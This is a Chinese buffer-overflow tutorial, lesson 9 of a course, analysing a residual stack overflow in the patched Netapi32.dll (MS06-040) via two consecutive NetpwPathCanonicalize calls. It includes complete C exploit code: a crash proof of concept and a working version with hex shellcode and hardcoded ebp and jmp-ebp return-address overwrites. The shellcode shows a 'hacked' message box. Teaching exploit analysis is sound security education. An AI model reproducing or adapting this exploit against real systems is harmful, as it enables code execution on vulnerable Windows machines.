缓冲区溢出分析第09课：MS06-040漏洞研究——深入挖掘

前言

经过前两次的分析，我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用。在系统未打补丁之前，这确实是一个非常严重的漏洞，那么打了补丁之后，这个动态链接库是不是就安全了呢？答案是否定的。即便是打了补丁，虽说我们之前所分析的漏洞已被补上，但是这个程序中依旧存在着其它的问题。

对漏洞函数进行静态分析

我们之前所研究的Netapi32.dll的大小为309,008 字节，补丁后的文件大小为309,760 字节。我们用IDA Pro载入打过补丁后的DLL文件，找到之前出现问题的函数位置进行分析：

图1

补丁前的程序之所以会出现问题，就是因为程序并未对第二个参数的长度做出足够的限定。补丁前的程序在以宽字符的形式计算出第二个参数的长度之后，是与0x411进行比较的，也就是说，只要第二个参数的长度不大于0x822个字节就可以。但是在补丁后的程序中，如上图所示，在位于0x71BA42BC中的比较语句，是将第二个参数（Source）与0x207相比较，也就是说，此时第二个参数的大小不能够超过0x414个字节，而栈空间分配的就是0x414个字节，因此不会出现溢出的情况。所以如果想实现漏洞的利用，还需要进一步深入挖掘才可以。对此，我们可以从这个函数最开始的部分进行分析：

图2

程序在分配了0x414字节的空间之后，利用异或运算将esi中的内容清空，然后将[ebp+arg_0]与esi也就是0进行比较，其实这也就是在判定，指向第一个字符串的指针是否为空。如果为空，那么接下来的条件跳转不成立，程序就会来到0x71BA42AE的位置执行。如果指向第一个字符串的指针不为空，但是指向的却是空的字符串，见下图：

图3

这里对第一个字符串的长度进行测定，如果字符串内容为空，也就是长度为0，那么接下来的跳转成立，程序会直接来到0x71BA42B5的位置执行：

图4

程序在这里会将未初始化的缓冲区以及第二个参数（Source）利用wcscat函数进行连接。其实这是一个非常不安全的操作，因为尚未初始化的栈空间的长度是未知的，甚至可能超过起初分配的0x414个字节，然后再与参数二进行连接，就会有缓冲区溢出的隐患。

这里有一个问题需要说明的是，为什么第一个参数指向的字符串拷贝到缓冲区就不会有这个问题，而第二个参数复制进缓冲区就会有隐患呢？这是因为第一个参数字符串使用的是“wcscpy”进行拷贝的，它会将字符串从缓冲区的起始位置进行拷贝。而第二个参数使用的是wcscat，它会检查缓冲区中的“\0”也就是字符串的尾部位置，然后将新的字符串拷贝到“\0”的位置，最后再加上“\0”作为结尾。

那么现在的问题就是应该如何控制缓冲区的内容和大小。一个简单的做法就是连续调用两次CanonicalizePathName()函数。当第一次调用该函数时，缓冲区第一次被填充并进行字符串连接的操作，当第一次调用结束的时候，恢复栈帧，释放缓冲区空间，此时只要不做任何的栈空间操作（比如函数调用），那么原始缓冲区中的内容是不会改变的。而第二次调用时，还会继续对这块缓冲区进行操作，那么此时就会还保留有第一次调用时的数据，于是就存在着溢出的风险。

函数CanonicalizePathName()是不能够被直接调用的，因为它是NetpwPathCanonicalize()的子函数。所以这里可以回到NetpwPathCanonicalize()中来看一下二者之间的调用方式：

图5

由上图可见，当CanonicalizePathName()调用完毕后，程序会对其返回值（保存在eax中）进行判断，也就是与edi相比较，而edi在这里是恒为0的，那么这里也就是在验证其返回值是否为0。如果不为0，那么就会跳到0x71BA4284处执行，也就是函数退出的位置。如果为0，那么接下来还会有其它的函数调用。刚才说了，只要没有其它的函数调用，那么缓冲区的内容就不会被更改，也就是说，我们这里希望CanonicalizePathName()的返回值不为0，让程序接下来直接退出，以保证缓冲区中的内容不被更改。那么该如何让它的返回值不为0呢，我们可以看一下该函数最后一部分的反汇编代码：

图6

在上图中，位于0x71BA431E处的wcslen用于计算合并后的路径字符串的长度，注意这个长度是Unicode的，因此下面的eax+eax+2实际上也就是在计算合并后的字符串一共有多少个字节，这里加上2是因为还需加上末尾的两个空字节。接下来利用比较语句，将字节长度与arg_C相比较。注意这里的arg_C是用于保存连接后的字符串的缓冲区空间的大小。如果相比较的结果是缓冲区空间大，那么就会执行左边的流程，进行字符串的拷贝操作，并将eax置零后返回。如果缓冲区的空间小，那么执行右边的流程，于是eax的值就不为0了。依据这一点，我们在第一次调用的时候，可以将缓冲区空间的大小，也就是arg_C的值设置小一点，就能够让它返回非零值了。

漏洞利用程序的编写

依据上面的分析，就可以进行漏洞利用程序框架的编写：

#include <windows.h>

typedef void (*MYPROC)(LPTSTR,...);

#define StrCat_SIZE_1      0x184
#define StrCat_SIZE_2      0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE        0x410

int main()
{
    char Source_1[StrCat_SIZE_1];
    char Source_2[StrCat_SIZE_2];
    char lpWideCharStr[lpWideCharStr_SIZE];
	int  arg_8 = lpWideCharStr_SIZE;
	char arg_C_1[StrCpy_SIZE];
	char arg_C_2[StrCpy_SIZE];
	long arg_10_1 = 44;
	long arg_10_2 = 44;

	HINSTANCE LibHandle;
	MYPROC    Func;
	char DllName[] = "./netapi32.dll";
	char FuncName[] = "NetpwPathCanonicalize";
    // 将当前目录中的netapi32.dll载入内存
	LibHandle = LoadLibrary(DllName);
	if (LibHandle == 0)
	{
	    MessageBox(0, "Can't Load DLL!", "Warning", 0);
		return 0;
	}
	// 获取NetpwPathCanonicalize()函数的地址
	Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
	if(Func == 0)
	{
	    MessageBox(0, "Can't Load Function!", "Warning", 0);
		FreeLibrary(LibHandle);
		return 0;
	}
    // 用字符a填充第一次函数调用时，wcscat连接的内容
	memset(Source_1, 0, sizeof(Source_1));
	memset(Source_1, 'a', sizeof(Source_1)-2);
    // 用字符b填充第二次函数调用时，wcscat连接的内容
	memset(Source_2, 0, sizeof(Source_2));
	memset(Source_2, 'b', sizeof(Source_2)-2);
    // 用0填充两次函数调用中，wcscpy复制的内容
	memset(arg_C_1, 0, sizeof(arg_C_1));
    memset(arg_C_2, 0, sizeof(arg_C_2));
    // 连续调用两次NetpwPathCanonicalize()函数
	(Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &arg_10_1, 0);
	(Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);

	FreeLibrary(LibHandle);
	return 0;
}

需要将netapi32.dll与上述工程文件放置在同一目录，编译生成Release版，运行，系统会提示出错：

图7

可见这里出现了缓冲区溢出的错误，溢出地址为0x62626262，也就是小写字母“b”。那么我们只要让这个返回地址跳转到我们所编写的ShellCode的位置就可以了。由于当函数返回时，ecx不会指向栈顶空间，因此我们这次就不能够使用call ecx了。所以这里我打算将ebp的值覆盖为栈顶地址，然后将返回地址覆盖为jmp ebp，再将ShellCode植入栈顶，从而实现漏洞的利用：

#include <windows.h>

typedef void (*MYPROC)(LPTSTR,...);

#define StrCat_SIZE_1      0x184
#define StrCat_SIZE_2      0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE        0x410

char ShellCode[] =
              "\x90\x90\x90"
			  "\x33\xDB"                          // xor ebx,ebx
			  "\xB7\x06" 						  // mov bh,6
			  "\x2B\xE3"  						  // sub esp,ebx
			  "\x33\xDB"                          // xor ebx,ebx
			  "\x53"                              // push ebx
			  "\x68\x69\x6E\x67\x20"
			  "\x68\x57\x61\x72\x6E"              // push "Warning"
			  "\x8B\xC4"                          // mov eax,esp
			  "\x53"                              // push ebx
			  "\x68\x2E\x29\x20\x20"
			  "\x68\x20\x4A\x2E\x59"
			  "\x68\x21\x28\x62\x79"
			  "\x68\x63\x6B\x65\x64"
			  "\x68\x6E\x20\x68\x61"
			  "\x68\x20\x62\x65\x65"
			  "\x68\x68\x61\x76\x65"
			  "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"
			  "\x8B\xCC"                           // mov ecx,esp
			  "\x53"                               // push ebx
			  "\x50"                               // push eax
			  "\x51"                               // push ecx
			  "\x53"                               // push ebx
			  "\xB8\xea\x07\xd5\x77"
			  "\xFF\xD0"                           // call MessageBox
              "\x53"
              "\xB8\xFA\xCA\x81\x7C"
              "\xFF\xD0" ;                         // call ExitProcess

int main()
{
    char Source_1[StrCat_SIZE_1];
    char Source_2[StrCat_SIZE_2];
    char lpWideCharStr[lpWideCharStr_SIZE];
	int  arg_8 = lpWideCharStr_SIZE;
	char arg_C_1[StrCpy_SIZE];
	char arg_C_2[StrCpy_SIZE];
	long arg_10_1 = 44;
	long arg_10_2 = 44;

	HINSTANCE LibHandle;
	MYPROC    Func;
	char DllName[] = "./netapi32.dll";
	char FuncName[] = "NetpwPathCanonicalize";
    // 将当前目录中的netapi32.dll载入内存
	LibHandle = LoadLibrary(DllName);
	if (LibHandle == 0)
	{
	    MessageBox(0, "Can't Load DLL!", "Warning", 0);
		return 0;
	}
	// 获取NetpwPathCanonicalize()函数的地址
	Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
	if(Func == 0)
	{
	    MessageBox(0, "Can't Load Function!", "Warning", 0);
		FreeLibrary(LibHandle);
		return 0;
	}
    // 用字符a填充第一次函数调用时，wcscat连接的内容
	memset(Source_1, 0, sizeof(Source_1));
	memset(Source_1, 'a', sizeof(Source_1)-2);
	// 将ShellCode拷贝到缓冲区中
	memcpy(Source_1, ShellCode, sizeof(ShellCode));
	// 将ShellCode后面的0x00填充为0x90
	Source_1[sizeof(ShellCode)-1] = 0x90;
    // 用字符b填充第二次函数调用时，wcscat连接的内容
	memset(Source_2, 0, sizeof(Source_2));
	memset(Source_2, 'b', sizeof(Source_2)-2);
    // 将ebp覆盖为栈顶地址
    Source_2[0x2AA] = 0x44;
	Source_2[0x2AB] = 0xea;
	Source_2[0x2AC] = 0x12;
	Source_2[0x2AD] = 0x00;
	// 将返回地址覆盖为jmp ebp
	Source_2[0x2AE] = 0x98;
	Source_2[0x2AF] = 0xd4;
	Source_2[0x2B0] = 0xbb;
	Source_2[0x2B1] = 0x71;
    // 用0填充两次函数调用中，wcscpy复制的内容
	memset(arg_C_1, 0, sizeof(arg_C_1));
    memset(arg_C_2, 0, sizeof(arg_C_2));
    // 连续调用两次NetpwPathCanonicalize()函数
	(Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &arg_10_1, 0);
	(Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);

	FreeLibrary(LibHandle);
	return 0;
}

当然我相信大家经过自己的研究，会有更加优秀的漏洞利用方式，也希望我的代码能够起到抛砖引玉的效果。

小结

至此，我已经利用了三次课程的篇幅比较全面地分析了MS06-040这个漏洞，也希望大家能够以此为起点，多多尝试与交流，成为漏洞挖掘方面的专家。

时间： 2024-08-11 01:34:22

缓冲区溢出分析第09课：MS06-040漏洞研究——深入挖掘的相关文章

缓冲区溢出分析第08课：MS06-040漏洞研究——动态调试

前言 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用. 编写漏洞利用程序的框架 这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下.程序如下: #include <windows.h> typedef void (*MYPROC)(LPTSTR, ...); int main() { char Str[0x320]; char lpWideCharStr[0x440]; int arg

缓冲区溢出分析第07课：MS06-040漏洞研究——静态分析

前言 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情况就会很不一样了.毕竟Windows统治了全球九成以上的计算机操作系统,因此如果该系统中出现了漏洞,而这个漏洞又被别有用心者所利用,那么就必然会出现数以亿计的受害者. MS06-040漏洞基本信息 这次我们讨论的漏洞是在2006年8月8日,由微软公布的MS06-040这个漏洞(https://techn

缓冲区溢出分析第11课：整数溢出的原理

<缓冲区溢出分析>这一系列的内容是我为"i春秋"(www.ichunqiu.com)所录制的同名视频课程的讲稿汇总.每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解.而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解.整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理.有兴趣的朋友可以结合本文与配套视频进行学习. 前言 我们之前所研究的漏洞,都是非常经典的栈溢出漏洞,也是最为常见

缓冲区溢出分析第10课：Winamp缓冲区溢出研究

<缓冲区溢出分析>这一系列的内容是我为"i春秋"(www.ichunqiu.com)所录制的同名视频课程的讲稿汇总.每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解.而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解.整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理.有兴趣的朋友可以结合本文与配套视频进行学习. 前言 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代

缓冲区溢出分析第01课：缓冲区溢出分析导论

前言 <缓冲区溢出分析>这一系列的内容是我为"i春秋"所录制的同名视频课程的讲稿汇总.每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解.而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解.整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理. 课程导论 漏洞指的是在硬件.软件.协议的具体实现或系统安全策略上存在的缺陷,通常是由程序的编写者在编写时的疏忽造成的.漏洞的存在使攻击者能够

缓冲区溢出分析第06课：W32Dasm缓冲区溢出分析

漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀". 但是即便是这么一款破解界的"神器",竟然也是存在着缓冲区溢出的漏洞的.可见,它在破解无数程序的同时,其自身也存在着被"黑"的风险.那么我们可以首先分析一下漏洞报告: ##############################################

缓冲区溢出分析第03课：缓冲区溢出的利用

前言 上次我们已经讨论了缓冲区溢出的原理,而这次我们需要利用这个原理来构造条件,从而利用这个漏洞. 其实缓冲区溢出漏洞的利用主要是需要解决以下三个问题: 1.精确定位返回地址的位置 2.寻找一个合适的地址,用于覆盖原始返回地址 3.编写Shellcode到相应的缓冲区中 这次我们就结合实验程序,来解决上述三个问题,实现漏洞的利用. 精确定位返回地址的位置 缓冲区溢出利用的第一步,就是需要我们精确定位返回地址的位置.由于我们这次的程序比较简单,所以通过错误提示对话框,我们就能够判定返回地址的位置了

缓冲区溢出分析第02课： 缓冲区溢出的原理

创建含有缓冲区溢出隐患的程序 这里我们为了达到实验的要求,先来编写一个最简单的存在缓冲区溢出隐患的程序.这个程序我使用VC++6.0进行编写,并在Windows XP下执行.(这里请大家注意的是,如果你使用的是新版本的VC,由于微软加入了GS机制来防止缓冲区溢出情况的出现,那么本实验就无法实现.) 首先新建一个Win32控制台应用程序,然后输入以下C语言代码: #include "stdio.h" #include "string.h" char name[] =

缓冲区溢出分析第04课：ShellCode的编写

前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写ShellCode.为了简单起见,这里我只想让程序显示一个对话框: 图1 获取相关函数的地址 那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框.由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取: #inclu